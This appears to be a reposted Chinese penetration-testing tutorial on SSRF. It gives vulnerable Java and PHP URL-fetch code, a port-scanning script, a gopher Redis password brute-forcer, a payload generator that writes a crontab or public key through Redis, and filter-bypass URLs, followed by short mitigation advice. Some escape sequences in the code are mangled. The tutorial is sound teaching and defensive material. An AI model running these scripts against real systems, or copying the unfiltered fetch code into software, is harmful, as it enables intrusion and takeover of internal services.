|
SSRF
SSRF是服务端请求伪造,顾名思义就是伪造服务器向别的主机发送请求,可以利用服务器内部主机进行探测或发动特定攻击。
SSRF危害:
-
读取服务器本地文件。
-
扫描内网,获取内网系统信息。
-
攻击内部服务,如数据库、缓存服务器。
-
绕过防火墙,访问外部受限资源。
漏洞信息
混子Hacker
01
漏洞成因
服务器提供了从URL中获取数据的功能,如从远端加载图片和文件等,但是由于没有对请求的地址或协议进行限制,导致攻击者可以利用漏洞对内部主机进行探测,或利用漏洞绕过限制访问受限的资源等
如下代码,在接受一个url参数时没有进行任何限制直接进行访问获取数据
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.net.URL;
publicclassSSRFExample1 {
publicstaticvoidmain(String[] args)throws IOException {
ssrf_demo();
}
publicstaticvoidssrf_demo()throws IOException { StringuserInput="http://127.0.0.1/demo.xml"; // 用户输入 URLurl=newURL(userInput); BufferedReaderin=newBufferedReader(newInputStreamReader(url.openStream())); String inputLine; while ((inputLine = in.readLine()) != null) { System.out.println(inputLine); // 输出响应内容 } in.close(); }
}
PHP中代码如下
<?php
if(isset($_GET['url']) && $_GET['url'] != null){
//接收前端URL没问题,但是要做好过滤,如果不做过滤,就会导致SSRF
$URL = $_GET['url'];
$CH = curl_init($URL);
curl_setopt($CH, CURLOPT_HEADER, FALSE);
curl_setopt($CH, CURLOPT_SSL_VERIFYPEER, FALSE);
$RES = curl_exec($CH);
curl_close($CH) ;
//ssrf的问是:前端传进来的url被后台使用curl_exec()进行了请求,然后将请求的结果又返回给了前端。
//除了http/https外,curl还支持一些其他的协议curl --version 可以查看其支持的协议,telnet
//curl支持很多协议,有FTP, FTPS, HTTP, HTTPS, GOPHER, TELNET, DICT, FILE以及LDAP
echo$RES;
}
?>
常见的场景:
- 在线翻译
- 分享
- 图片加载与下载
-
URL 重定向
常见的参数如下
share
wap
url
callback
link
src
source
target
display
sourceURl
imageURL
domain
混子Hacker
02
漏洞利用
一、读取本地文件
publicstaticvoidssrf_demo()throws IOException {
StringuserInput="file:///C:/Windows/win.ini"; // 用户输入
URL url = new URL(userInput);
BufferedReader in = new BufferedReader(new InputStreamReader(url.openStream()));
String inputLine;
while ((inputLine = in.readLine()) != null) {
System.out.println(inputLine); // 输出响应内容
}
in.close();
}
二、探测内网端口
可以根据响应不同来区分端口是否开启,如下在JAVA中端口未开启回复连接拒绝
端口开启的话会根据服务有不同响应
import requests
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"}
port = [21, 22, 23, 80, 81, 88, 110, 135, 443, 445, 1080, 1433, 1521, 2181, 3306, 3389, 4444, 4445, 6000, 6666, 6379,
7001, 7002, 8000, 8888, 9001, 9083, 9200, 11211, 27017]
print("开放的端口为:")
for p in port:
url = f"http://127.0.0.1/ssrf.php?url=dict://127.0.0.1:{p}"
try:
re = requests.get(url, headers, timeout=1)
print(p)
except:
pass
print('SSRF端口检测完毕')
三、利用gopher协议攻击redis
*1 #数组长度为1
$7 #多行字符串,长度为7
COMMAND #命令
*1 #数组长度为1
$4 #多行字符串,长度为7
info #返回字符串,文本行的集合。
http://127.0.0.1/ssrf.php?url=gopher://127.0.0.1:6379/_%250D%250Aauth%2520Admin%254012%250D%250Aquit%250D%250A
# -*- coding: UTF-8 -*-
from urllib.parse import quote
from urllib.request import Request, urlopen
url = "http://127.0.0.1/ssrf.php?url="
gopher = "gopher://127.0.0.1:6379/_"
def get_password():
passwd=['password','Admin@123']
return passwd
def encoder_url(cmd):
urlencoder = quote(cmd).replace("%0A", "%0D%0A")
return urlencoder
for password in get_password():
# 攻击脚本
cmd = """
auth %s
quit
""" % password
# 二次编码
encoder = encoder_url(encoder_url(cmd))
# 生成payload
payload = url + gopher + encoder
print(payload)
# 发起请求
request = Request(payload)
response = urlopen(request).read().decode()
print("This time password is:" + password)
print("Get response is:")
print(response)
if response.count("+OK") > 1:
print("find password : " + password)
exit()
print("Password not found!")
print("Please change the dictionary,and try again.")
利用redis写入计划任务或公钥
利用下面代码将payload进行编码
import urllib.parse
protocol = "gopher://"
ip = "127.0.0.1"
port = "6379"
shell = "nnnthis is testnnn"#使用时替换为实际的计划任务
filename = "crontab"
path = "" #自己的路径
passwd = "" #如果有密码需要加上
cmd = ["set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save",
"quit"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload = protocol + ip + ":" + port + "/_"
def redis_format(arr):
CRLF = "rn"
redis_arr = arr.split(" ")
cmd = ""
cmd += "*" + str(len(redis_arr))
for x in redis_arr:
cmd += CRLF + "$" + str(len((x.replace("${IFS}"," ")))) + CRLF + x.replace("${IFS}"," ")
cmd += CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.parse.quote(redis_format(x))
# print(payload)
print(urllib.parse.quote(payload))
携带payload访问
查看redis成功写入了计划任务
常见绕过方法
-
基于http身份认证绕过限定必须包含指定域名
http://[email protected]@www.ccc.com,
在对@解析域名中,不同的处理函数存在处理差异
在PHP的parse_url中会识别www.ccc.com,
而libcurl则识别为www.bbb.com。
2. 利用句号绕过限制内网IP黑名单
http://127.0.0.1/ssrf.php?url=http://127%E3%80%820%E3%80%820%E3%80%821
3. 可以使用[]绕过
http://127.0.0.1/ssrf.php?url=[192.168.232.130]:8000
其他绕过方法:302绕过、短链接绕过、进制转换绕过等等
混子Hacker
03
漏洞防护
SSRF修复建议
-
限制请求的端口只能为Web端口,只允许访问HTTP和HTTPS的请求。 -
限制不能访问内网的IP,以防止对内网进行攻击。 -
屏蔽返回的详细信息。
<<< END >>>
原创文章|转载请附上原文出处链接
更多漏洞|关注作者查看
作者|混子Hacker
原文始发于微信公众号(混子Hacker):【渗透知识】SSRF漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论